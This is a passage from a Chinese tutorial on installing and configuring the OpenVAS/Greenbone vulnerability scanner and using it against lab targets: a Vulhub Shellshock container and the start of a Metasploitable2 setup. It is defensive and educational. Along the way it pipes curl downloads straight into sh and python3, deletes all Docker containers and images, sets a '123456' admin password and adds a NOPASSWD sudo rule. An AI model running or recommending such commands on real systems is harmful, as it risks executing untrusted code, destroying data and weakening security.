2.1.3.3、调整权限
  1. 对于系统范围的多用户安装,必须确保目录权限设置正确,并且与组设置匹配。Gvm组的所有用户都应该能够像VT一样读取和写入日志、锁定文件和数据。可以顺序执行如下命令来调整目录权限:
$ sudo mkdir -p /var/lib/notus
$ sudo mkdir -p /run/gvmd
$ sudo chown -R gvm:gvm /var/lib/gvm
$ sudo chown -R gvm:gvm /var/lib/openvas
$ sudo chown -R gvm:gvm /var/lib/notus
$ sudo chown -R gvm:gvm /var/log/gvm
$ sudo chown -R gvm:gvm /run/gvmd
$ sudo chmod -R g+srw /var/lib/gvm
$ sudo chmod -R g+srw /var/lib/openvas
$ sudo chmod -R g+srw /var/log/gvm
  1. 为了允许gvm组的所有用户通过各种gvmd命令访问postgres数据库,gvmd可执行文件的权限将调整为始终作为gvm用户在gvm组下运行。可以顺序执行如下命令来调整gvmd的权限:
$ sudo chown gvm:gvm /usr/local/sbin/gvmd
$ sudo chmod 6750 /usr/local/sbin/gvmd
2.1.3.4、数据源验证
  1. 为了验证数据源内容,需要创建一个带有Greenbone Community Feed完整性密钥的GnuPG密钥链。可以使用如下命令为数据源内容验证创建GPG密钥环:
$ curl -f -L https://www.greenbone.net/GBCommunitySigningKey.asc -o /tmp/GBCommunitySigningKey.asc
$ export GNUPGHOME=/tmp/openvas-gnupg
$ mkdir -p $GNUPGHOME
$ gpg --import /tmp/GBCommunitySigningKey.asc
$ echo "8AE4BE429B60A59B311C2E739823FAA60ED1E580:6:" | gpg --import-ownertrust
$ export OPENVAS_GNUPG_HOME=/etc/openvas/gnupg
$ sudo mkdir -p $OPENVAS_GNUPG_HOME
$ sudo cp -r /tmp/openvas-gnupg/* $OPENVAS_GNUPG_HOME/
$ sudo chown -R gvm:gvm $OPENVAS_GNUPG_HOME
2.1.3.5、为扫描设置sudo权限
  1. 对于漏洞扫描,它需要具有仅授权root用户的几种功能,例如创建原始套接字。因此,将添加一个配置,允许gvm组的用户通过sudo以root用户身份运行openvas-scanner应用程序。为了实现此目的,首先打开名为“sudoers”的文件:
$ sudo gedit /etc/sudoers
  1. 然后在打开的文件的最后一行添加如下内容,然后保存修改后退出:
# allow users of the gvm group run openvas
%gvm ALL = NOPASSWD: /usr/local/sbin/openvas
2.1.3.6、设置PostgreSQL
  1. PostgreSQL数据库管理系统用作用户和扫描信息的中央存储,Gvmd通过连接到PostgreSQL数据库并查询数据,所以我们必须创建和配置此数据库。我们首先现在安装PostgreSQL服务器:
$ sudo apt install -y postgresql-15
  1. 然后启动PostgreSQL数据库服务器:
$ sudo systemctl start postgresql@15-main
  1. 为了建立PostgreSQL数据库,我们需要成为postgres用户。我们可以使用如下命令更换为postgres用户:
$ sudo -u postgres bash
  1. 执行完上面的命令后,会进入一个新的bash,此bash的用户就是postgres:
    在这里插入图片描述

  2. 然后为Greenbone Community Edition设置PostgreSQL用户和数据库:

$ cd
$ createuser -DRS gvm
$ createdb -O gvm gvmd
  1. 然后设置数据库权限和拓展,并退出此bash:
$ psql gvmd -c "create role dba with superuser noinherit; grant dba to gvm;"
$ exit
2.1.3.7、设置管理员用户
  1. 为了访问和配置漏洞数据,需要创建管理员用户。该用户可以通过Greenbone Security Assistant(GSA)web界面登录。他将可以访问所有数据,并将其配置为数据源导入所有者。我们可以在创建管理员用户的同时设置其密码为“123456”,当然,这个密码读者可以自行设置:
$ /usr/local/sbin/gvmd --create-user=admin --password=123456
  1. 执行完上面的命令后,出现如下图红框处所示的内容即代表管理员用户设置成功:
    在这里插入图片描述
2.1.3.8、设置数据源导入所有者
  1. 某些资源以前是gvmd源代码的一部分,现在通过数据源发送。扫描配置“Full and Fast”就是一个例子。目前,每个资源都需要一个所有者来应用权限并管理对资源的访问。因此,gvmd只会配置在配置了数据源导入所有者的情况下创建这些资源。在这里,以前创建的管理员用户将被用作数据源导入所有者。我们可以使用如下命令来设置数据源导入所有者:
$ /usr/local/sbin/gvmd --modify-setting 78eceaec-3385-11ea-b237-28d24461215b --value `/usr/local/sbin/gvmd --get-users --verbose | grep admin | awk '{print $2}'`
2.1.3.9、为Systemd设置服务
  1. Systemd用于启动守护进程ospd-openvas、notus-scanner、gvmd和gsad。因此,需要它们的服务文件。首先设置ospd-openvas的Systemd服务文件:
$ cat << EOF > $BUILD_DIR/ospd-openvas.service
[Unit]
Description=OSPd Wrapper for the OpenVAS Scanner (ospd-openvas)
Documentation=man:ospd-openvas(8) man:openvas(8)
After=network.target networking.service redis-server@openvas.service mosquitto.service
Wants=redis-server@openvas.service mosquitto.service notus-scanner.service
ConditionKernelCommandLine=!recovery

[Service]
Type=exec
User=gvm
Group=gvm
RuntimeDirectory=ospd
RuntimeDirectoryMode=2775
PIDFile=/run/ospd/ospd-openvas.pid
ExecStart=/usr/local/bin/ospd-openvas --foreground --unix-socket /run/ospd/ospd-openvas.sock --pid-file /run/ospd/ospd-openvas.pid --log-file /var/log/gvm/ospd-openvas.log --lock-file-dir /var/lib/openvas --socket-mode 0o770 --mqtt-broker-address localhost --mqtt-broker-port 1883 --notus-feed-dir /var/lib/notus/advisories
SuccessExitStatus=SIGKILL
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
  1. 然后执行如下命令为ospd-openvas安装systemd服务文件:
$ sudo cp -v $BUILD_DIR/ospd-openvas.service /etc/systemd/system/
  1. 然后设置notus-scanner的Systemd服务文件:
$ cat << EOF > $BUILD_DIR/notus-scanner.service
[Unit]
Description=Notus Scanner
Documentation=https://github.com/greenbone/notus-scanner
After=mosquitto.service
Wants=mosquitto.service
ConditionKernelCommandLine=!recovery

[Service]
Type=exec
User=gvm
RuntimeDirectory=notus-scanner
RuntimeDirectoryMode=2775
PIDFile=/run/notus-scanner/notus-scanner.pid
ExecStart=/usr/local/bin/notus-scanner --foreground --products-directory /var/lib/notus/products --log-file /var/log/gvm/notus-scanner.log
SuccessExitStatus=SIGKILL
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
  1. 然后执行如下命令为notus-scanner安装systemd服务文件:
$ sudo cp -v $BUILD_DIR/notus-scanner.service /etc/systemd/system/
  1. 然后设置gvmd的Systemd服务文件:
$ cat << EOF > $BUILD_DIR/gvmd.service
[Unit]
Description=Greenbone Vulnerability Manager daemon (gvmd)
After=network.target networking.service postgresql.service ospd-openvas.service
Wants=postgresql.service ospd-openvas.service
Documentation=man:gvmd(8)
ConditionKernelCommandLine=!recovery

[Service]
Type=exec
User=gvm
Group=gvm
PIDFile=/run/gvmd/gvmd.pid
RuntimeDirectory=gvmd
RuntimeDirectoryMode=2775
ExecStart=/usr/local/sbin/gvmd --foreground --osp-vt-update=/run/ospd/ospd-openvas.sock --listen-group=gvm
Restart=always
TimeoutStopSec=10

[Install]
WantedBy=multi-user.target
EOF
  1. 然后执行如下命令为gvmd安装systemd服务文件:
$ sudo cp -v $BUILD_DIR/gvmd.service /etc/systemd/system/
  1. 然后设置gsad的Systemd服务文件:
$ cat << EOF > $BUILD_DIR/gsad.service
[Unit]
Description=Greenbone Security Assistant daemon (gsad)
Documentation=man:gsad(8) https://www.greenbone.net
After=network.target gvmd.service
Wants=gvmd.service

[Service]
Type=exec
User=gvm
Group=gvm
RuntimeDirectory=gsad
RuntimeDirectoryMode=2775
PIDFile=/run/gsad/gsad.pid
ExecStart=/usr/local/sbin/gsad --foreground --listen=127.0.0.1 --port=9392 --http-only
Restart=always
TimeoutStopSec=10

[Install]
WantedBy=multi-user.target
Alias=greenbone-security-assistant.service
EOF
  1. 然后执行如下命令为gsad安装systemd服务文件:
$ sudo cp -v $BUILD_DIR/gsad.service /etc/systemd/system/
  1. 之后,需要激活并启动服务,可以使Systemd加载这些systemd服务文件:
$ sudo systemctl daemon-reload

2.1.4、执行数据源同步

  对于实际的漏洞扫描,需要漏洞测试脚本、CVE、端口列表和扫描配置等安全信息。所有这些数据都由Greenbone Community Feed提供,应在开始服务之前先下载这些数据。数据源同步由两部分组成:

  • 通过rsync下载修改,通过greenbone-feed-sync脚本完成
  • 通过守护进程将修改加载到内存和数据库中,在后台进程启动时自动完成

  这两个步骤可能都需要一段时间,从几分钟到几个小时,尤其是对于初始同步。只有当这两个步骤都完成时,同步的数据才是最新的并且可以使用。下面我们就来介绍关于数据源同步的具体细节。

2.1.4.1、下载数据

  在同步期间下载数据可能需要一段时间,这具体取决于网络连接和服务器资源。此外,我们下载的数据由四种不同类型的数据组成:

  • VT数据:VT数据包含“.nasl”文件和“.notus”文件,用于在漏洞扫描期间创建结果。“.nasl”文件由OpenVAS Scanner处理,“.notus”文件由Notus Scanner处理
  • SCAP数据:SCAP数据包含CPE和CVE信息
  • CERT数据:CERT数据包含来自德国的DFN-CERT和CERT-Bund机构的漏洞信息
  • GVMD数据:GVMD数据(也被称为“数据对象”)是扫描配置、合规策略、端口列表和报告格式

  我们可以使用如下命令对以上数据进行下载:

$ sudo /usr/local/bin/greenbone-feed-sync
2.1.4.2、启动Greenbone Community Edition服务

  当数据源下载成功后,必须由相应的守护进程加载新数据。这可能需要几分钟到几小时,尤其是对于数据的初始加载。如果没有加载数据,扫描将包含不完整和错误的结果。我们可以通过systemd启动Greenbone Community Edition服务,之后运行的守护进程将自动获取数据源内容并加载这些数据。

  1. 使用如下命令依次启动所有服务:
$ sudo systemctl start notus-scanner
$ sudo systemctl start ospd-openvas
$ sudo systemctl start gvmd
$ sudo systemctl start gsad
  1. 然后设置每次系统启动时自动运行这些服务:
$ sudo systemctl enable notus-scanner
$ sudo systemctl enable ospd-openvas
$ sudo systemctl enable gvmd
$ sudo systemctl enable gsad
  1. 然后检查notus-scanner服务的状态:
$ sudo systemctl status notus-scanner
  1. 出现如下图红框处所示的内容,即代表notus-scanner服务启动成功:
    在这里插入图片描述

  2. 然后检查ospd-openvas服务的状态:

$ sudo systemctl status ospd-openvas
  1. 出现如下图红框处所示的内容,即代表ospd-openvas服务启动成功:
    在这里插入图片描述

  2. 然后检查gvmd服务的状态:

$ sudo systemctl status gvmd
  1. 出现如下图红框处所示的内容,即代表gvmd服务启动成功:
    在这里插入图片描述

  2. 然后检查gsad服务的状态:

$ sudo systemctl status gsad
  1. 出现如下图红框处所示的内容,即代表gsad服务启动成功:
    在这里插入图片描述
2.1.4.3、漏洞测试数据检查

  我们可以通过检查“/var/log/gvm/ospd-openvas.log”日志文件来判断漏洞测试数据是否被加载以及是否加载成功:

  1. 如果ospd-openvas的日志文件(即“/var/log/gvm/ospd-openvas.log”日志文件)中包含如下内容,则表明OpenVAS Scanner开始加载新的VT数据:
Loading VTs. Scans will be [requested|queued] until VTs are loaded. This may take a few minutes, please wait...
  1. 如果在此文件中可以找到类似以下的日志消息,则完成VT数据的加载(其中XY分别代表对应的数字,在不同情况下数字可能不同,这是正常的):
Finished loading VTs. The VT cache has been updated from version X to Y.
  1. 当scanner意识到VT数据后,gvmd将请求该数据,所以“/var/log/gvm/gvmd.log”日志文件中将会出现类似以下内容的日志消息(其中XYZ分别代表对应的数字,在不同情况下数字可能不同,这是正常的):
OSP service has different VT status (version X) from database (version (Y), Z VTs). Starting update ...
  1. 当gvmd加载完所有VT数据后,在此日志文件中将会出现类似以下内容的日志消息(其中X代表对应的数字,在不同情况下数字可能不同,这是正常的):
Updating VTs in database ... done (X VTs).
2.1.4.4、SCAP数据检查

  我们可以通过检查“/var/log/gvm/gvmd.log”日志文件来判断SCAP数据是否被加载以及是否加载成功:

  1. 如果在“/var/log/gvm/gvmd.log”日志文件中可以找到以下内容时,则表明gvmd开始加载包含CPE和CVE信息的SCAP数据:
update_scap: Updating data from feed
  1. 当“/var/log/gvm/gvmd.log”日志文件中包含以下日志消息时,SCAP数据将被加载并完成同步:
update_scap_end: Updating SCAP info succeeded
2.1.4.5、CERT数据检查

  我们可以通过检查“/var/log/gvm/gvmd.log”日志文件来判断CERT数据是否被加载以及是否加载成功:

  1. 如果在“/var/log/gvm/gvmd.log”日志文件中可以找到以下内容时,则表明gvmd开始加载包含DFN-CERT和CERT-Bund信息的CERT数据:
sync_cert: Updating data from feed
  1. 当“/var/log/gvm/gvmd.log”日志文件中包含以下日志消息时,CERT数据将被加载并完成同步:
sync_cert: Updating CERT info succeeded.
2.1.4.6、GVMD数据检查

  我们可以通过检查“/var/log/gvm/gvmd.log”日志文件来判断GVMD数据是否被加载以及是否加载成功:

  1. 如果在“/var/log/gvm/gvmd.log”日志文件中可以找到以下内容时,则表明gvmd端口列表数据已经被成功加载:
Port list All IANA assigned TCP (33d0cd82-57c6-11e1-8ed1-406186ea4fc5) has been created by admin
  1. 如果在“/var/log/gvm/gvmd.log”日志文件中可以找到以下内容时,则表明gvmd报告格式数据已经被成功加载:
Report format XML (a994b278-1f62-11e1-96ac-406186ea4fc5) has been created by admin
  1. 如果在“/var/log/gvm/gvmd.log”日志文件中可以找到以下内容时,则表明gvmd扫描配置数据已经被成功加载:
Scan config Full and fast (daba56c8-73ec-11df-a475-002264764cea) has been created by admin

2.1.5、启动Greenbone Security Assistant

  1. 当我们做完以上操作后,即全部服务已经启动并且已经加载所有数据后,就可以启动Greenbone Security Assistant了,我们可以使用如下命令启动Greenbone Security Assistant:
$ xdg-open "http://127.0.0.1:9392" 2>/dev/null >/dev/null &
  1. 当Greenbone Security Assistant成功启动后,会来到Web登录界面。这里用于登录用户名和密码就是我们在“2.1.3.7、设置管理员用户”一节设置的,我们只需要输入后就可以成功登录进去:
    在这里插入图片描述

  2. 成功登录之后,浏览器将显示GSA的主界面,然后我们就可以使用GSA进行漏洞扫描了。关于GSA具体如何使用,请参见后面的章节:
    在这里插入图片描述

2.2、使用

2.2.1、建立漏洞扫描目标

  1. 来到GSA的主界面后,选择“Configuration->Targets”后点击一个类似文件的图标(如下图红框和红箭头所示)就可以新建一个扫描目标:
    在这里插入图片描述

  2. 然后会出现如下图所示的界面,我对重要的选项都已经进行了翻译。在这个界面中,我们可以设置扫描的目标选项,包括主机IP地址(这里我们就检测当前主机就可以,所以IP地址设置为本地环回,即127.0.0.1)、端口列表和登陆凭证等。读者可以根据我下图的配置进行自定义的扫描目标的创建:
    在这里插入图片描述

  3. 在上图中有一些类似文件夹的图标(如下图红箭头和红框处所示),我们可以点击这些图标对应的配置选项进行更细粒度的配置:
    在这里插入图片描述

  4. 我们可以点击“Port List”配置对应的图标进行关于扫描的端口列表的细粒度的配置的设置,点击之后会出现如下图所示的界面,我们可以在这个界面进行自定义的配置。最后点击“save”就可以保存我们的配置,不过我们在这里就不进行配置了,所以点击“Cancel”取消配置即可:
    在这里插入图片描述

  5. 如果我们的目标主机存在密码且使用SSH进行登录验证,那么我们就可以点击配置选择对应的图标,之后会出现如下图所示的界面,就可以进行用户名和密码等内容的设置。最后点击“save”就可以保存我们的配置,不过我们在这里就不进行配置了,因为我们测试的目标主机的IP地址是主机环回,不需要用户名和密码和其它链接信息,所以点击“Cancel”取消配置即可:
    在这里插入图片描述

  6. 当我们进行完上面的设置后,就可以点击“Save”来保存我们的配置:
    在这里插入图片描述

  7. 然后在此界面就会出现我们刚刚建立的扫描目标:
    在这里插入图片描述

2.2.2、建立漏洞扫描任务

  1. 来到GSA的主界面后,选择“Scans->Tasks”后点击一个类似文件的图标(如下图红框和红箭头所示)就可以新建一个扫描任务:
    在这里插入图片描述

  2. 然后会出现如下图所示的界面,我对重要的选项都已经进行了翻译。在这个界面中,我们可以设置扫描的任务选项,包括扫描目标、扫描器选择和扫描策略等。读者可以根据我下图的配置进行自定义的扫描任务的创建:
    在这里插入图片描述

  3. 在上图中有一些类似文件夹的图标(如下图红箭头和红框处所示),我们可以点击这些图标对应的配置选项进行更细粒度的配置。不过我们在这里就不进行其他配置了,感兴趣的读者可以自行进行自定义的配置:
    在这里插入图片描述

  4. 当我们进行完上面的设置后,就可以点击“Save”来保存我们的配置:
    在这里插入图片描述

2.2.3、开始漏洞扫描

  1. 当我们做完以上的操作后,在“Scans->Tasks”界面中就会出现我们建立好的扫描任务,点击红箭头和红框处的小箭头即可开启针对此扫描目标和扫描任务的漏洞扫描:
    在这里插入图片描述

2.3.4、查看漏洞扫描结果

  1. 当漏洞扫描开始后,下图红箭头和红框处就显示了漏洞扫描的进度:
    在这里插入图片描述

  2. 当出现如下图红箭头和红框处所示的内容时,就代表漏洞扫描结束了。我们可以点击“Done”查看漏洞扫描结果:
    在这里插入图片描述

  3. 然后点击“Result”查看扫描到的具体漏洞的结果,可以发现我们这次测试的本地的主机存在一些漏洞:
    在这里插入图片描述

2.3.5、下载漏洞扫描结果

  1. 如果我们想将漏洞的扫描结果保存到本地,那么我们就来到刚刚查看漏洞扫描结果的界面,点击此界面中的下载图标,就可以对本次的扫描结果下载:
    在这里插入图片描述

  2. 然后会出现如下图所示的界面,我们可以选择各种类型的漏洞报告进行下载,我们在这里选择PDF格式的漏洞报告下载:
    在这里插入图片描述

  3. 下载完成之后,浏览器会自动打开此PDF格式的漏洞报告,可以发现我们本次的扫描结果就都保存到本地了:
    在这里插入图片描述

2.3.6、自定义漏洞扫描策略

  1. 在“Configuration->Scan Configs”界面中就是OpenVAS默认配置好的7种扫描策略,如下图所示:
    在这里插入图片描述
  • Base:基本配置模板,包含扫描所需的最低NVT集合
  • Discovery:网络发现扫描配置
  • empty:空的静态配置模板
  • Full and fast:使用全部NVT,并根据扫描前收集的信息进行优化
  • Host Discovery:网络主机发现扫描配置
  • Log4Shell:带有Log4j和CVE-2021-44228检查的配置
  • System Discovery:网络系统发现扫描配置
  1. 有时候我们可以根据扫描的目标自定义扫描策略。为了实现自定义的扫描策略,我们可以在此界面点击类似文件的图标(如下图红箭头和红框处所示):
    在这里插入图片描述

  2. 然后会出现如下图所示的界面,读者可以根据我下图的介绍和自己的需求进行自定义的配置,最后点击“Save”保存自定义的扫描策略的配置:
    在这里插入图片描述

  3. 当我们成功创建此扫描策略后,会在此界面生成这个新的扫描策略:
    在这里插入图片描述

  4. 我们还可以点击这个新建的扫描策略的编辑图标进行网络漏洞测试Families的编辑:
    在这里插入图片描述

  5. 然后会出现如下界面,在此界面的Family列中每一行代表一种漏洞类型,该类型下会集成多个NVT集合。Family列旁边有斜箭头和横箭头两种箭头,选择斜箭头意味着当OpenVAS官方发布该Family下新的NVT集合时,此扫描策略会将其自动添加新的NVT集合。然而选择横箭头后,当OpenVAS官方发布该Family下新的NVT集合时,则不会将其添加到新的扫描策略中。当我们配置完成后,可以选择“Save”保存我们的配置:
    在这里插入图片描述

  6. 此时我们就完成了自定义的扫描策略的配置,后面我们就可以使用此自定义的扫描策略进行漏洞扫描了

2.3.7、设置定时漏洞扫描任务

  1. 当我们需要每天都对目标IP地址进行漏洞扫描时,OpenVAS同样也可以帮忙。我们可以给OpenVAS设置定时任务来对目标IP地址进行周期性的漏洞扫描。我们选择“Configuration->Schedules”后会来到如下图所示的界面,然后点击如下图所示的类似文件的图标就可以设置我们的定时扫描任务了:
    在这里插入图片描述

  2. 然后来到此界面,可以按照如下图的解释进行配置,最后点击“Save”保存此定时扫描任务的配置:
    在这里插入图片描述

  3. 然后在此界面中就会出现我们刚刚创建好的自定义的定时扫描任务,后面如果再新建扫描任务的时候,就可以使用这个自定义的定时扫描任务实现定时的漏洞扫描功能:
    在这里插入图片描述

3、测试用例

  在本章节我们将通过OpenVAS工具对各种类型的漏洞以及各种靶机进行测试,并对OpenVAS工具进行各种高级配置。故要求各位读者一定要完成前面章节的内容,否则无法进行本章节所介绍的内容。此外,本章节中所介绍的各个小节也是按照顺序向下学习与操作的,比如一定要完成各个小节的第一节的内容才能继续这个小节的下一节的内容。

3.1、对Vulhub靶机进行测试

  在本章节中,我们将部署并使用Vulhub靶机环境,Vulhub是一个面向大众的开源漏洞靶场,只需要执行一条命令即可编译、运行一个完整的漏洞靶场环境。后面我们就使用Vulhub靶场环境测试OpenVAS工具对于漏洞检测的检测效果。
  此外,我们还将部署Docker环境,这是后面进行漏洞测试的基础,因为所有的漏洞靶机环境都部署在Docker容器中,所以我们需要安装好Docker环境,我们才能对各种漏洞的靶机进行渗透测试。
  还有一点需要强调,Vulhub部署在VMware Pro 17的虚拟机(虚拟机系统为Ubuntu 22.04.1)上,也就是说Vulhub部署的环境与OpenVAS部署的环境一致,关于OpenVAS部署的环境细节可参考“2、安装与使用”章节。下图为Vulhub靶机的层次结构图。
在这里插入图片描述

3.1.1、部署Vulhub靶机环境

  1. 首先安装pip:
$ curl -s https://bootstrap.pypa.io/get-pip.py | python3
  1. 刚才也提到了需要部署Docker环境,所以我们使用如下命令来安装最新版的Docker:
$ curl -s https://get.docker.com/ | sh
  1. 然后启动Docker服务,此时Docker环境就部署完毕了:
$ systemctl start docker
  1. 然后查看下载安装的Docker的版本:
$ docker --version
  1. 可以发现当前Docker的版本为24.0.6:
    在这里插入图片描述

  2. 然后使用如下命令查看当前系统的版本:

$ lsb_release -a
  1. 可以发现当前系统的版本为Ubuntu 22.04.1 LTS:
    在这里插入图片描述

  2. 然后查看当前系统的内核版本:

$ uname -r
  1. 可以发现当前系统的内核版本为5.15.0-43-generic:
    在这里插入图片描述

  2. 然后进入系统主目录,并下载Vulhub靶机源代码:

$ cd ~
$ wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
  1. 然后解压下载的Vulhub靶机源代码,并进入解压后的目录:
$ unzip vulhub-master.zip
$ cd vulhub-master

3.1.2、漏洞验证

3.1.2.1 验证Bash/CVE-2014-6271漏洞

  GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash Shell之前可以用构造的值创建环境变量,这些环境变量可以包含代码,在Shell被调用后会被立即执行。
  这个漏洞的英文是:ShellShock,中文名被XCERT命名为:破壳漏洞。在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等。下面我们就在Vulhub靶场环境中部署此漏洞,并使用OpenVAS部署此漏洞。

  1. 首先顺序执行如下命令停止并删除所有Docker容器和Docker镜像,防止它们对我们的漏洞检测造成影响:
$ sudo docker stop $(sudo docker ps -aq)
$ sudo docker rm $(sudo docker ps -aq)
$ sudo docker rmi $(sudo docker images -q)
  1. 进入Vulhub靶场工具源代码中的Bash/CVE-2014-6271漏洞的环境的目录:
$ cd /home/iie-iisd/vulhub-master/bash/CVE-2014-6271/
  1. 然后自动化编译的Bash/CVE-2014-6271的Docker靶场环境:
$ sudo docker compose build
  1. 然后启动Bash/CVE-2014-6271漏洞的Docker靶场环境:
$ sudo docker compose up -d
  1. 然后使用如下命令查看此Docker容器是否启动成功:
$ sudo docker ps -a
  1. 出现如下图所示的内容即代表此Docker容器启动成功,我们需要记录下此Docker容器的容器ID,后面会用到:
    在这里插入图片描述

  2. 然后执行如下命令进入此Docker容器内部,这里就用到了刚刚保存的此Docker容器的容器ID:

$ sudo docker exec -it 3e303e14c085 /bin/bash
  1. 当我们进入此Docker容器内部后,发现当前用户名为root,这个用户名需要记住,后面会用到:
    在这里插入图片描述

  2. 然后使用如下命令设置此Docker容器的密码,这个自己设置的密码也一定要记住,后面会用到:

# passwd
  1. 出现如下图红箭头和红框处所示的内容即代表此Docker容器的密码设置成功:
    在这里插入图片描述

  2. 然后更换此Docker容器的下载源:

# mv /etc/apt/sources.list /etc/apt/sources.list.bak && \
    echo "deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse" >/etc/apt/sources.list && \
    echo "deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse" >>/etc/apt/sources.list && \
    echo "deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse" >>/etc/apt/sources.list && \
    echo "deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse" >>/etc/apt/sources.list && \
    echo "deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse" >>/etc/apt/sources.list && \
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse" >>/etc/apt/sources.list && \
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse" >>/etc/apt/sources.list && \
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse" >>/etc/apt/sources.list && \
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse" >>/etc/apt/sources.list && \
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse" >>/etc/apt/sources.list
  1. 然后执行如下命令更新软件源:
# apt-get update
  1. 然后安装vim软件和SSH服务器:
# apt-get install vim openssh-server -y
  1. 然后修改SSH服务器的配置文件:
# vim /etc/ssh/sshd_config
  1. 在打开的SSH服务器的配置文件中进行如下图红框和红箭头处所示的修改:
    在这里插入图片描述

  2. 保存以上修改后退出,然后启动SSH服务器,使修改生效:

# service ssh start
  1. 执行完上述命令后,会出现如下图所示的界面,即代表SSH服务器启动成功:
    在这里插入图片描述

  2. 然后安装net-tools工具,此工具可以查看IP地址:

# apt-get install net-tools
  1. 然后使用如下命令查看当前Docker容器的IP地址:
# ifconfig
  1. 执行上面的命令后,会出现如下图所示的界面,下图红箭头和红框处所示的就是当前Docker容器的IP地址,我们需要将此IP地址记录下来,因为后面需要使用到:
    在这里插入图片描述

  2. 上面其实都是准备工作,给我们要测试的Docker容器安装SSH服务器,目的就是为了让OpenVAS工具可以对其进行SSH连接,从而扫描此Docker对应的漏洞,所以我们需要记住我们刚才设置的此Docker容器的用户名和密码,并且将其IP地址记录下来。既然我们准备工作做完了,下面就可以正式对这个Docker容器进行针对性的漏洞扫描了,我们首先打开另一个终端,然后如下命令启动Greenbone Security Assistant:

$ xdg-open "http://127.0.0.1:9392" 2>/dev/null >/dev/null &
  1. 因为之前对于Greenbone Security Assistant的介绍已经很详细了,所以我们在这里使用的时候就不会像之前那样详细的介绍了。我们首先创建扫描目标,在创建扫描目标的时候要注意设置扫描目标的IP地址为刚刚保存的Docker容器的IP地址。其余和之前介绍的一样配置,或者说使用默认配置即可:
    在这里插入图片描述

  2. 并且由于我们设置了Docker容器的用户名和密码,所以我们需要使用之前保存的用户名和密码对目标Docker容器进行SSH连接。其余和之前介绍的一样配置,或者说使用默认配置即可:
    在这里插入图片描述

  3. 然后为我们刚刚创建的扫描目标新建一个扫描任务。创建新的扫描任务的过程和之前介绍的一样,我们在此不再赘述,只是需要将扫描的目标设置为我们刚刚创建好的扫描目标:
    在这里插入图片描述

  4. 然后启动扫描,扫描成功结束后我们查看扫描结果。启动扫描和查看扫描结果的过程和之前介绍的一样,我们在此不再赘述。可以发现我们成功的扫描到了目标Docker容器的Bash/CVE-2014-6271的漏洞,其实我们不仅扫描到了目标Docker容器的Bash/CVE-2014-6271的漏洞,还扫描到了很多其他漏洞,具体细节读者可自行查看漏洞扫描结果:
    在这里插入图片描述

  5. 我们还可以按照之前介绍的方法对此次漏洞扫描结果进行PDF格式的文件的下载,并打开下载好的PDF格式的文件。可以发现,此PDF格式的文件就保存了我们此次漏洞扫描扫描到的所有漏洞信息,我们就可以根据此文件中的内容对这些漏洞进行更深层次的分析:
    在这里插入图片描述

   注:实际执行中遇到的问题及解决方法

  • 问题1:
    1. 在步骤12更新软件源的时候,可能会出现类似如下图的问题:
      在这里插入图片描述

    2. 这个问题提示我们缺少公钥,既然缺少公钥,那我们就添加公钥即可,这里就用到了上图红箭头和红框处所示的提示我们缺少的公钥,我们将其添加即可。然后这个问题就被我们解决了,我们只需要回到步骤12重新继续向下操作即可:

# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 40976EAF437D05B5
# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32

3.2、对Metasploitable2靶机进行测试

  Metasploitable2 Linux系统是一个特别制作的Ubuntu系统,本身设计目的是作为安全工具测试和模拟漏洞环境。最重要的是可以用来作为渗透工具集MSF攻击用的靶机。Metasploitale2上面开放了很多高危端口如21、23、445、3389等,而且具有很多未经修补的高危漏洞,如Samba、MS-RPC Shell命令注入、弱口令等。
  我们在本章节就会使用OpenVAS工具对Metasploitable2靶机中的漏洞进行检测。Metasploitable2靶机环境的部署也比较简单,直接下载Metasploitable2靶机的虚拟机镜像,然后将其打开就可以得到Metasploitable2靶机环境了。此外,Metasploitable2靶机作为虚拟机部署在VMware Pro 17上,关于Metasploitable2靶机环境的层次结构图如下图所示。下面就正式开始本章节所要介绍的具体内容。
在这里插入图片描述

3.2.1、部署Metasploitable2靶机环境

  1. 首先来到Metasploitable2官方下载地址下载Metasploitable2靶机的虚拟机镜像:
    在这里插入图片描述

  2. 下载完后是一个压缩包,我们将这个压缩包中的内容解压到某个目录中:
    在这里插入图片描述

  3. 然后使用VMware Pro 17打开解压后得到的Metasploitable2靶机的虚拟机镜像:
    在这里插入图片描述

  4. 然后启动加载好的Metasploitable2靶机的虚拟机镜像:
    在这里插入图片描述

  5. 然后会出现如下图所示的界面,我们只需要点击如下图红箭头和红框处的复选框即可:
    在这里插入图片描述

  6. 稍等片刻就会来到Metasploitable2靶机的虚拟机的主界面,在这个主界面的红箭头和红框处的内容就是此虚拟机的用户名和密码,这个用户名和密码需要保存下来,后面会用到:
    在这里插入图片描述

  7. 然后使用上一步提到的用户名和密码登录系统:
    在这里插入图片描述

  8. 然后查看此靶机的内核版本:

$ uname -r
